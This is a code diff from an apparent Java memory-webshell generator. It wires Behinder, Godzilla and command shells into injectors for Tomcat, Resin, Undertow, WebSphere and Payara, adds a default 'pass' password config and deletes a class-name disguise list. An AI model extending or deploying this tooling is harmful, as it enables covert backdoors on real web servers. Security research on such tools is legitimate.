Constants.FILTER, Pair.of(BehinderFilter.class, PayaraFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, PayaraFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, PayaraListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, PayaraListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, PayaraValveInjector.class),
JAKARTA_VALVE, Pair.of(BehinderValve.class, PayaraValveInjector.class)
);
}
}
@@ -1,12 +1,15 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.resin.behinder.BehinderListener;
import com.reajason.javaweb.memshell.resin.command.CommandListener;
import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
@@ -49,4 +52,16 @@ public class ResinShell extends AbstractShell {
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class),
Constants.JAKARTA_SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class),
Constants.FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class)
);
}
}
@@ -1,12 +1,16 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
@@ -16,7 +20,7 @@ import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
import static com.reajason.javaweb.config.Constants.*;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
@@ -62,4 +66,18 @@ public class TomcatShell extends AbstractShell {
JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class),
JAKARTA_SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class),
FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class),
JAKARTA_FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class)
);
}
}
@@ -1,11 +1,14 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener;
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
@@ -49,4 +52,16 @@ public class UndertowShell extends AbstractShell {
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class),
Constants.JAKARTA_SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class),
Constants.FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class)
);
}
}
@@ -1,11 +1,14 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener;
import com.reajason.javaweb.memshell.websphere.command.CommandListener;
import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector;
@@ -43,4 +46,13 @@ public class WebSphereShell extends AbstractShell {
Constants.LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(BehinderServlet.class, WebSphereServletInjector.class),
Constants.FILTER, Pair.of(BehinderFilter.class, WebSphereFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class)
);
}
}
@@ -0,0 +1,23 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class BehinderConfig extends ShellToolConfig {
@Builder.Default
private String pass = "pass";
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
}
@@ -1,4 +1,4 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import lombok.Builder;
import lombok.Getter;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import net.bytebuddy.jar.asm.Opcodes;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import lombok.Builder;
import lombok.Data;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.util.CommonUtil;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.util.CommonUtil;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.*;
import lombok.Getter;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import lombok.AllArgsConstructor;
import lombok.Builder;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
/**
* @author ReaJason
@@ -13,5 +13,10 @@ public enum ShellTool {
/**
* 命令回显
*/
Command
Command,
/**
* 冰蝎
*/
Behinder
}
@@ -1,6 +1,6 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.util.CommonUtil;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.bcel.classfile.Utility;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.codec.binary.Base64;
/**
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.Getter;
import java.util.Map;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.util;
package com.reajason.javaweb.memshell.utils;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.memshell.config.Server;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
@@ -1,10 +0,0 @@
package com.reajason.javaweb.util;
public class ClassDefiner extends ClassLoader {
private ClassDefiner() {
}
public static Class<?> defineClass(byte[] code) {
return new ClassDefiner().defineClass(null, code, 0, code.length);
}
}
@@ -1,39 +0,0 @@
package com.reajason.javaweb.util;
import lombok.SneakyThrows;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2024/11/23
*/
public class ClassUtils {
@SneakyThrows
public static Class<?> defineClass(byte[] bytes) {
return ClassDefiner.defineClass(bytes);
}
@SneakyThrows
@SuppressWarnings("deprecation")
public static Object newInstance(byte[] bytes) {
Class<?> clazz = defineClass(bytes);
return clazz.newInstance();
}
@SneakyThrows
public static Object getFieldValue(Object object, String fieldName) {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(object);
}
@SneakyThrows
public static Object invokeMethod(Object object, String methodName, Class<?>[] parameterTypes, Object[] parameters) {
Method method = object.getClass().getDeclaredMethod(methodName, parameterTypes);
method.setAccessible(true);
return method.invoke(object, parameters);
}
}
@@ -1,413 +0,0 @@
org.apache.coyote.AbstractTypeResolver
org.apache.coyote.AnnotationIntrospector
org.apache.coyote.BeanDescription
org.apache.coyote.BeanProperty
org.apache.coyote.DatabindContext
org.apache.coyote.DeserializationConfig
org.apache.coyote.DeserializationContext
org.apache.coyote.DeserializationFeature
org.apache.coyote.InjectableValues
org.apache.coyote.JavaType
org.apache.coyote.JsonDeserializer
org.apache.coyote.JsonMappingException
org.apache.coyote.JsonNode
org.apache.coyote.JsonSerializable
org.apache.coyote.JsonSerializer
org.apache.coyote.KeyDeserializer
org.apache.coyote.MapperFeature
org.apache.coyote.MappingIterator
org.apache.coyote.MappingJsonFactory
org.apache.coyote.Module
org.apache.coyote.ObjectMapper
org.apache.coyote.ObjectReader
org.apache.coyote.ObjectWriter
org.apache.coyote.PropertyMetadata
org.apache.coyote.PropertyName
org.apache.coyote.PropertyNamingStrategy
org.apache.coyote.RuntimeJsonMappingException
org.apache.coyote.SequenceWriter
org.apache.coyote.SerializationConfig
org.apache.coyote.SerializationFeature
org.apache.coyote.SerializerProvider
org.apache.coyote.annotation.JacksonStdImpl
org.apache.coyote.annotation.JsonAppend
org.apache.coyote.annotation.JsonDeserialize
org.apache.coyote.annotation.JsonNaming
org.apache.coyote.annotation.JsonPOJOBuilder
org.apache.coyote.annotation.JsonSerialize
org.apache.coyote.annotation.JsonTypeIdResolver
org.apache.coyote.annotation.JsonTypeResolver
org.apache.coyote.annotation.JsonValueInstantiator
org.apache.coyote.annotation.NoClass
org.apache.coyote.cfg.BaseSettings
org.apache.coyote.cfg.ConfigFeature
org.apache.coyote.cfg.ConfigOverride
org.apache.coyote.cfg.ConfigOverrides
org.apache.coyote.cfg.ContextAttributes
org.apache.coyote.cfg.DeserializerFactoryConfig
org.apache.coyote.cfg.HandlerInstantiator
org.apache.coyote.cfg.MapperBuilder
org.apache.coyote.cfg.MapperConfig
org.apache.coyote.cfg.MapperConfigBase
org.apache.coyote.cfg.MutableConfigOverride
org.apache.coyote.cfg.PackageVersion
org.apache.coyote.cfg.SerializerFactoryConfig
org.apache.coyote.deser.AbstractDeserializer
org.apache.coyote.deser.BasicDeserializerFactory
org.apache.coyote.deser.BeanDeserializer
org.apache.coyote.deser.BeanDeserializerBase
org.apache.coyote.deser.BeanDeserializerBuilder
org.apache.coyote.deser.BeanDeserializerFactory
org.apache.coyote.deser.BeanDeserializerModifier
org.apache.coyote.deser.BuilderBasedDeserializer
org.apache.coyote.deser.ContextualDeserializer
org.apache.coyote.deser.ContextualKeyDeserializer
org.apache.coyote.deser.CreatorProperty
org.apache.coyote.deser.DataFormatReaders
org.apache.coyote.deser.DefaultDeserializationContext
org.apache.coyote.deser.DeserializationProblemHandler
org.apache.coyote.deser.DeserializerCache
org.apache.coyote.deser.DeserializerFactory
org.apache.coyote.deser.Deserializers
org.apache.coyote.deser.KeyDeserializers
org.apache.coyote.deser.NullValueProvider
org.apache.coyote.deser.ResolvableDeserializer
org.apache.coyote.deser.SettableAnyProperty
org.apache.coyote.deser.SettableBeanProperty
org.apache.coyote.deser.UnresolvedForwardReference
org.apache.coyote.deser.UnresolvedId
org.apache.coyote.deser.ValueInstantiator
org.apache.coyote.deser.ValueInstantiators
org.apache.coyote.deser.impl.BeanAsArrayBuilderDeserializer
org.apache.coyote.deser.impl.BeanAsArrayDeserializer
org.apache.coyote.deser.impl.BeanPropertyMap
org.apache.coyote.deser.impl.CreatorCandidate
org.apache.coyote.deser.impl.CreatorCollector
org.apache.coyote.deser.impl.ErrorThrowingDeserializer
org.apache.coyote.deser.impl.ExternalTypeHandler
org.apache.coyote.deser.impl.FailingDeserializer
org.apache.coyote.deser.impl.FieldProperty
org.apache.coyote.deser.impl.InnerClassProperty
org.apache.coyote.deser.impl.JDKValueInstantiators
org.apache.coyote.deser.impl.JavaUtilCollectionsDeserializers
org.apache.coyote.deser.impl.ManagedReferenceProperty
org.apache.coyote.deser.impl.MergingSettableBeanProperty
org.apache.coyote.deser.impl.MethodProperty
org.apache.coyote.deser.impl.NullsAsEmptyProvider
org.apache.coyote.deser.impl.NullsConstantProvider
org.apache.coyote.deser.impl.NullsFailProvider
org.apache.coyote.deser.impl.ObjectIdReader
org.apache.coyote.deser.impl.ObjectIdReferenceProperty
org.apache.coyote.deser.impl.ObjectIdValueProperty
org.apache.coyote.deser.impl.PropertyBasedCreator
org.apache.coyote.deser.impl.PropertyBasedObjectIdGenerator
org.apache.coyote.deser.impl.PropertyValue
org.apache.coyote.deser.impl.PropertyValueBuffer
org.apache.coyote.deser.impl.ReadableObjectId
org.apache.coyote.deser.impl.SetterlessProperty
org.apache.coyote.deser.impl.TypeWrappedDeserializer
org.apache.coyote.deser.impl.UnwrappedPropertyHandler
org.apache.coyote.deser.impl.ValueInjector
org.apache.coyote.deser.std.ArrayBlockingQueueDeserializer
org.apache.coyote.deser.std.AtomicBooleanDeserializer
org.apache.coyote.deser.std.AtomicReferenceDeserializer
org.apache.coyote.deser.std.BaseNodeDeserializer
org.apache.coyote.deser.std.ByteBufferDeserializer
org.apache.coyote.deser.std.CollectionDeserializer
org.apache.coyote.deser.std.ContainerDeserializerBase
org.apache.coyote.deser.std.DateDeserializers
org.apache.coyote.deser.std.DelegatingDeserializer
org.apache.coyote.deser.std.EnumDeserializer
org.apache.coyote.deser.std.EnumMapDeserializer
org.apache.coyote.deser.std.EnumSetDeserializer
org.apache.coyote.deser.std.FactoryBasedEnumDeserializer
org.apache.coyote.deser.std.FromStringDeserializer
org.apache.coyote.deser.std.JdkDeserializers
org.apache.coyote.deser.std.JsonLocationInstantiator
org.apache.coyote.deser.std.JsonNodeDeserializer
org.apache.coyote.deser.std.MapDeserializer
org.apache.coyote.deser.std.MapEntryDeserializer
org.apache.coyote.deser.std.NullifyingDeserializer
org.apache.coyote.deser.std.NumberDeserializers
org.apache.coyote.deser.std.ObjectArrayDeserializer
org.apache.coyote.deser.std.PrimitiveArrayDeserializers
org.apache.coyote.deser.std.ReferenceTypeDeserializer
org.apache.coyote.deser.std.StackTraceElementDeserializer
org.apache.coyote.deser.std.StdDelegatingDeserializer
org.apache.coyote.deser.std.StdDeserializer
org.apache.coyote.deser.std.StdKeyDeserializer
org.apache.coyote.deser.std.StdKeyDeserializers
org.apache.coyote.deser.std.StdNodeBasedDeserializer
org.apache.coyote.deser.std.StdScalarDeserializer
org.apache.coyote.deser.std.StdValueInstantiator
org.apache.coyote.deser.std.StringArrayDeserializer
org.apache.coyote.deser.std.StringCollectionDeserializer
org.apache.coyote.deser.std.StringDeserializer
org.apache.coyote.deser.std.ThrowableDeserializer
org.apache.coyote.deser.std.TokenBufferDeserializer
org.apache.coyote.deser.std.UUIDDeserializer
org.apache.coyote.deser.std.UntypedObjectDeserializer
org.apache.coyote.exc.IgnoredPropertyException
org.apache.coyote.exc.InvalidDefinitionException
org.apache.coyote.exc.InvalidFormatException
org.apache.coyote.exc.InvalidNullException
org.apache.coyote.exc.InvalidTypeIdException
org.apache.coyote.exc.MismatchedInputException
org.apache.coyote.exc.PropertyBindingException
org.apache.coyote.exc.UnrecognizedPropertyException
org.apache.coyote.exc.ValueInstantiationException
org.apache.coyote.ext.CoreXMLDeserializers
org.apache.coyote.ext.CoreXMLSerializers
org.apache.coyote.ext.DOMDeserializer
org.apache.coyote.ext.DOMSerializer
org.apache.coyote.ext.Java7Handlers
org.apache.coyote.ext.Java7HandlersImpl
org.apache.coyote.ext.Java7Support
org.apache.coyote.ext.Java7SupportImpl
org.apache.coyote.ext.NioPathDeserializer
org.apache.coyote.ext.NioPathSerializer
org.apache.coyote.ext.OptionalHandlerFactory
org.apache.coyote.introspect.Annotated
org.apache.coyote.introspect.AnnotatedClass
org.apache.coyote.introspect.AnnotatedClassResolver
org.apache.coyote.introspect.AnnotatedConstructor
org.apache.coyote.introspect.AnnotatedCreatorCollector
org.apache.coyote.introspect.AnnotatedField
org.apache.coyote.introspect.AnnotatedFieldCollector
org.apache.coyote.introspect.AnnotatedMember
org.apache.coyote.introspect.AnnotatedMethod
org.apache.coyote.introspect.AnnotatedMethodCollector
org.apache.coyote.introspect.AnnotatedMethodMap
org.apache.coyote.introspect.AnnotatedParameter
org.apache.coyote.introspect.AnnotatedWithParams
org.apache.coyote.introspect.AnnotationCollector
org.apache.coyote.introspect.AnnotationIntrospectorPair
org.apache.coyote.introspect.AnnotationMap
org.apache.coyote.introspect.BasicBeanDescription
org.apache.coyote.introspect.BasicClassIntrospector
org.apache.coyote.introspect.BeanPropertyDefinition
org.apache.coyote.introspect.ClassIntrospector
org.apache.coyote.introspect.CollectorBase
org.apache.coyote.introspect.ConcreteBeanPropertyBase
org.apache.coyote.introspect.JacksonAnnotationIntrospector
org.apache.coyote.introspect.MemberKey
org.apache.coyote.introspect.NopAnnotationIntrospector
org.apache.coyote.introspect.ObjectIdInfo
org.apache.coyote.introspect.POJOPropertiesCollector
org.apache.coyote.introspect.POJOPropertyBuilder
org.apache.coyote.introspect.SimpleMixInResolver
org.apache.coyote.introspect.TypeResolutionContext
org.apache.coyote.introspect.VirtualAnnotatedMember
org.apache.coyote.introspect.VisibilityChecker
org.apache.coyote.introspect.WithMember
org.apache.coyote.json.JsonMapper
org.apache.coyote.jsonFormatVisitors.JsonAnyFormatVisitor
org.apache.coyote.jsonFormatVisitors.JsonArrayFormatVisitor
org.apache.coyote.jsonFormatVisitors.JsonBooleanFormatVisitor
org.apache.coyote.jsonFormatVisitors.JsonFormatTypes
org.apache.coyote.jsonFormatVisitors.JsonFormatVisitable
org.apache.coyote.jsonFormatVisitors.JsonFormatVisitorWithSerializerProvider
org.apache.coyote.jsonFormatVisitors.JsonFormatVisitorWrapper
org.apache.coyote.jsonFormatVisitors.JsonIntegerFormatVisitor
org.apache.coyote.jsonFormatVisitors.JsonMapFormatVisitor
org.apache.coyote.jsonFormatVisitors.JsonNullFormatVisitor
org.apache.coyote.jsonFormatVisitors.JsonNumberFormatVisitor
org.apache.coyote.jsonFormatVisitors.JsonObjectFormatVisitor
org.apache.coyote.jsonFormatVisitors.JsonStringFormatVisitor
org.apache.coyote.jsonFormatVisitors.JsonValueFormat
org.apache.coyote.jsonFormatVisitors.JsonValueFormatVisitor
org.apache.coyote.jsonschema.JsonSchema
org.apache.coyote.jsonschema.JsonSerializableSchema
org.apache.coyote.jsonschema.SchemaAware
org.apache.coyote.jsontype.BasicPolymorphicTypeValidator
org.apache.coyote.jsontype.NamedType
org.apache.coyote.jsontype.PolymorphicTypeValidator
org.apache.coyote.jsontype.SubtypeResolver
org.apache.coyote.jsontype.TypeDeserializer
org.apache.coyote.jsontype.TypeIdResolver
org.apache.coyote.jsontype.TypeResolverBuilder
org.apache.coyote.jsontype.TypeSerializer
org.apache.coyote.jsontype.impl.AsArrayTypeDeserializer
org.apache.coyote.jsontype.impl.AsArrayTypeSerializer
org.apache.coyote.jsontype.impl.AsExistingPropertyTypeSerializer
org.apache.coyote.jsontype.impl.AsExternalTypeDeserializer
org.apache.coyote.jsontype.impl.AsExternalTypeSerializer
org.apache.coyote.jsontype.impl.AsPropertyTypeDeserializer
org.apache.coyote.jsontype.impl.AsPropertyTypeSerializer
org.apache.coyote.jsontype.impl.AsWrapperTypeDeserializer
org.apache.coyote.jsontype.impl.AsWrapperTypeSerializer
org.apache.coyote.jsontype.impl.ClassNameIdResolver
org.apache.coyote.jsontype.impl.LaissezFaireSubTypeValidator
org.apache.coyote.jsontype.impl.MinimalClassNameIdResolver
org.apache.coyote.jsontype.impl.StdSubtypeResolver
org.apache.coyote.jsontype.impl.StdTypeResolverBuilder
org.apache.coyote.jsontype.impl.SubTypeValidator
org.apache.coyote.jsontype.impl.TypeDeserializerBase
org.apache.coyote.jsontype.impl.TypeIdResolverBase
org.apache.coyote.jsontype.impl.TypeNameIdResolver
org.apache.coyote.jsontype.impl.TypeSerializerBase
org.apache.coyote.module.SimpleAbstractTypeResolver
org.apache.coyote.module.SimpleDeserializers
org.apache.coyote.module.SimpleKeyDeserializers
org.apache.coyote.module.SimpleModule
org.apache.coyote.module.SimpleSerializers
org.apache.coyote.module.SimpleValueInstantiators
org.apache.coyote.node.ArrayNode
org.apache.coyote.node.BaseJsonNode
org.apache.coyote.node.BigIntegerNode
org.apache.coyote.node.BinaryNode
org.apache.coyote.node.BooleanNode
org.apache.coyote.node.ContainerNode
org.apache.coyote.node.DecimalNode
org.apache.coyote.node.DoubleNode
org.apache.coyote.node.FloatNode
org.apache.coyote.node.IntNode
org.apache.coyote.node.InternalNodeMapper
org.apache.coyote.node.JsonNodeCreator
org.apache.coyote.node.JsonNodeFactory
org.apache.coyote.node.JsonNodeType
org.apache.coyote.node.LongNode
org.apache.coyote.node.MissingNode
org.apache.coyote.node.NodeCursor
org.apache.coyote.node.NodeSerialization
org.apache.coyote.node.NullNode
org.apache.coyote.node.NumericNode
org.apache.coyote.node.ObjectNode
org.apache.coyote.node.POJONode
org.apache.coyote.node.ShortNode
org.apache.coyote.node.TextNode
org.apache.coyote.node.TreeTraversingParser
org.apache.coyote.node.ValueNode
org.apache.coyote.ser.AnyGetterWriter
org.apache.coyote.ser.BasicSerializerFactory
org.apache.coyote.ser.BeanPropertyFilter
org.apache.coyote.ser.BeanPropertyWriter
org.apache.coyote.ser.BeanSerializer
org.apache.coyote.ser.BeanSerializerBuilder
org.apache.coyote.ser.BeanSerializerFactory
org.apache.coyote.ser.BeanSerializerModifier
org.apache.coyote.ser.ContainerSerializer
org.apache.coyote.ser.ContextualSerializer
org.apache.coyote.ser.DefaultSerializerProvider
org.apache.coyote.ser.FilterProvider
org.apache.coyote.ser.PropertyBuilder
org.apache.coyote.ser.PropertyFilter
org.apache.coyote.ser.PropertyWriter
org.apache.coyote.ser.ResolvableSerializer
org.apache.coyote.ser.SerializerCache
org.apache.coyote.ser.SerializerFactory
org.apache.coyote.ser.Serializers
org.apache.coyote.ser.VirtualBeanPropertyWriter
org.apache.coyote.ser.impl.AttributePropertyWriter
org.apache.coyote.ser.impl.BeanAsArraySerializer
org.apache.coyote.ser.impl.FailingSerializer
org.apache.coyote.ser.impl.FilteredBeanPropertyWriter
org.apache.coyote.ser.impl.IndexedListSerializer
org.apache.coyote.ser.impl.IndexedStringListSerializer
org.apache.coyote.ser.impl.IteratorSerializer
org.apache.coyote.ser.impl.MapEntrySerializer
org.apache.coyote.ser.impl.ObjectIdWriter
org.apache.coyote.ser.impl.PropertyBasedObjectIdGenerator
org.apache.coyote.ser.impl.PropertySerializerMap
org.apache.coyote.ser.impl.ReadOnlyClassToSerializerMap
org.apache.coyote.ser.impl.SimpleBeanPropertyFilter
org.apache.coyote.ser.impl.SimpleFilterProvider
org.apache.coyote.ser.impl.StringArraySerializer
org.apache.coyote.ser.impl.StringCollectionSerializer
org.apache.coyote.ser.impl.TypeWrappedSerializer
org.apache.coyote.ser.impl.UnknownSerializer
org.apache.coyote.ser.impl.UnwrappingBeanPropertyWriter
org.apache.coyote.ser.impl.UnwrappingBeanSerializer
org.apache.coyote.ser.impl.WritableObjectId
org.apache.coyote.ser.std.ArraySerializerBase
org.apache.coyote.ser.std.AsArraySerializerBase
org.apache.coyote.ser.std.AtomicReferenceSerializer
org.apache.coyote.ser.std.BeanSerializerBase
org.apache.coyote.ser.std.BooleanSerializer
org.apache.coyote.ser.std.ByteArraySerializer
org.apache.coyote.ser.std.ByteBufferSerializer
org.apache.coyote.ser.std.CalendarSerializer
org.apache.coyote.ser.std.ClassSerializer
org.apache.coyote.ser.std.CollectionSerializer
org.apache.coyote.ser.std.DateSerializer
org.apache.coyote.ser.std.DateTimeSerializerBase
org.apache.coyote.ser.std.EnumSerializer
org.apache.coyote.ser.std.EnumSetSerializer
org.apache.coyote.ser.std.FileSerializer
org.apache.coyote.ser.std.InetAddressSerializer
org.apache.coyote.ser.std.InetSocketAddressSerializer
org.apache.coyote.ser.std.IterableSerializer
org.apache.coyote.ser.std.JsonValueSerializer
org.apache.coyote.ser.std.MapProperty
org.apache.coyote.ser.std.MapSerializer
org.apache.coyote.ser.std.NonTypedScalarSerializerBase
org.apache.coyote.ser.std.NullSerializer
org.apache.coyote.ser.std.NumberSerializer
org.apache.coyote.ser.std.NumberSerializers
org.apache.coyote.ser.std.ObjectArraySerializer
